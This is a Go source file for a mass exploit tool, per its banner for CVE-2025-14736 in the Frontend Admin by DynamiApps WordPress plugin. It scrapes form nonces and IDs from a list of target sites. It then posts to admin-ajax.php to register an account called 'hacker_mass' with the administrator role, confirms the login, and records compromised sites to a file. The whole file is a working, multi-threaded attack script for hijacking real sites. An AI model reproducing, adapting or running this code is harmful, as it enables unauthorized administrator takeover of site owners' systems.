package main import ( "bufio" "crypto/tls" "flag" "fmt" "io/ioutil" "net/http" "net/url" "os" "regexp" "strings" "sync" "time" ) var ( banner = ` >> [ ONLINE ] ╔═══════════════════════════════════════════════════════════════════════════════════════╗ ║ CVE-2025-14736 - Mass Exploit Tool ║ ║ Frontend Admin by DynamiApps Privilege Escalation ║ ║ Author: Hyun Chiya ║ ╚═══════════════════════════════════════════════════════════════════════════════════════╝ >> [ INFORMATION ] ` client *http.Client newUsername = "hacker_mass" newEmail = "hacker_mass@example.com" newPassword = "Password123!" outputFile = "vulnerable.txt" mu sync.Mutex ) var commonPaths = []string{ "/register-page/", "/register/", "/sign-up/", "/my-account/", "/frontend-dashboard/", "/", } var nonceRegex = regexp.MustCompile(`name=["']_acf_nonce["']\s+value=["']([a-zA-Z0-9]+)["']|value=["']([a-zA-Z0-9]+)["']\s+name=["']_acf_nonce["']`) var formIDRegex = regexp.MustCompile(`name=["']_acf_form["']\s+value=["']([a-zA-Z0-9]+)["']|value=["']([a-zA-Z0-9]+)["']\s+name=["']_acf_form["']`) var fieldKeyRegex = regexp.MustCompile(`name=["']acff\[user\]\[(field_[a-z0-9_]+)\]["']`) func init() { http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} } func main() { listFile := flag.String("l", "list.txt", "List of target URLs file") threads := flag.Int("t", 10, "Number of concurrent threads") timeout := flag.Int("timeout", 15, "Request timeout in seconds") flag.Parse() fmt.Print(banner) client = &http.Client{ Timeout: time.Duration(*timeout) * time.Second, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } targets, err := readLines(*listFile) if err != nil { fmt.Printf("[-] Error reading list file: %v\n", err) return } fmt.Printf("[*] Loaded %d targets. Starting scan with %d threads...\n", len(targets), *threads) jobs := make(chan string, len(targets)) var wg sync.WaitGroup for w := 0; w < *threads; w++ { wg.Add(1) go worker(w, jobs, &wg) } for _, target := range targets { jobs <- target } close(jobs) wg.Wait() fmt.Println("\n[*] Scan complete.") } func worker(id int, jobs <-chan string, wg *sync.WaitGroup) { defer wg.Done() for target := range jobs { processTarget(target) } } func processTarget(rawURL string) { targetURL := normalizeURL(rawURL) if targetURL == "" { return } nonce, formID, regPage, fields := findForm(targetURL) if nonce == "" || formID == "" { fmt.Printf("[-] %s : Nonce or Form ID not found.\n", targetURL) return } if exploit(targetURL, regPage, nonce, formID, fields) { successMsg := fmt.Sprintf("[SUCCESS] %s | User: %s | Pass: %s | FormID: %s", targetURL, newUsername, newPassword, formID) fmt.Printf("\n%s\n", successMsg) logSuccess(successMsg) } else { } } func findForm(baseURL string) (string, string, string, map[string]string) { for _, path := range commonPaths { fullURL := strings.TrimRight(baseURL, "/") + path req, _ := http.NewRequest("GET", fullURL, nil) req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") resp, err := client.Do(req) if err != nil { continue } defer resp.Body.Close() bodyBytes, _ := ioutil.ReadAll(resp.Body) body := string(bodyBytes) nonce := extractRegex(body, nonceRegex) formID := extractRegex(body, formIDRegex) if nonce != "" && formID != "" { fields := extractFields(body) return nonce, formID, fullURL, fields } } return "", "", "", nil } func exploit(targetURL, referer, nonce, formID string, existingFields map[string]string) bool { ajaxURL := strings.TrimRight(targetURL, "/") + "/wp-admin/admin-ajax.php" data := url.Values{} data.Set("action", "frontend_admin/form_submit") data.Set("_acf_screen", "fea_form") data.Set("_acf_nonce", nonce) data.Set("_acf_form", formID) userKey := fmt.Sprintf("field_username_%s", formID) emailKey := fmt.Sprintf("field_user_email_%s", formID) passKey := fmt.Sprintf("field_user_password_%s", formID) roleKey := fmt.Sprintf("field_user_role_%s", formID) data.Set(fmt.Sprintf("acff[user][%s]", userKey), newUsername) data.Set(fmt.Sprintf("acff[user][%s]", emailKey), newEmail) data.Set(fmt.Sprintf("acff[user][%s]", passKey), newPassword) data.Set(fmt.Sprintf("acff[user][%s]", roleKey), "administrator") req, _ := http.NewRequest("POST", ajaxURL, strings.NewReader(data.Encode())) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") req.Header.Set("Referer", referer) resp, err := client.Do(req) if err != nil { return false } defer resp.Body.Close() if resp.StatusCode == 200 { if verifyLogin(targetURL) { return true } } return false } func verifyLogin(baseURL string) bool { loginURL := strings.TrimRight(baseURL, "/") + "/wp-login.php" data := url.Values{} data.Set("log", newUsername) data.Set("pwd", newPassword) data.Set("wp-submit", "Log In") data.Set("testcookie", "1") req, _ := http.NewRequest("POST", loginURL, strings.NewReader(data.Encode())) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") resp, err := client.Do(req) if err != nil { return false } defer resp.Body.Close() for _, cookie := range resp.Cookies() { if strings.Contains(cookie.Name, "wordpress_logged_in") { return true } } return false } func normalizeURL(raw string) string { raw = strings.TrimSpace(raw) if raw == "" { return "" } if !strings.HasPrefix(raw, "http") { raw = "http://" + raw } u, err := url.Parse(raw) if err != nil { return "" } return fmt.Sprintf("%s://%s%s", u.Scheme, u.Host, strings.TrimRight(u.Path, "/")) } func readLines(path string) ([]string, error) { file, err := os.Open(path) if err != nil { return nil, err } defer file.Close() var lines []string scanner := bufio.NewScanner(file) for scanner.Scan() { lines = append(lines, scanner.Text()) } return lines, scanner.Err() } func extractRegex(content string, r *regexp.Regexp) string { matches := r.FindStringSubmatch(content) if len(matches) > 1 { return matches[1] } return "" } func extractFields(content string) map[string]string { out := make(map[string]string) matches := fieldKeyRegex.FindAllStringSubmatch(content, -1) for _, m := range matches { if len(m) > 1 { out[m[1]] = m[1] } } return out } func logSuccess(msg string) { mu.Lock() defer mu.Unlock() f, err := os.OpenFile(outputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { return } defer f.Close() f.WriteString(msg + "\n") }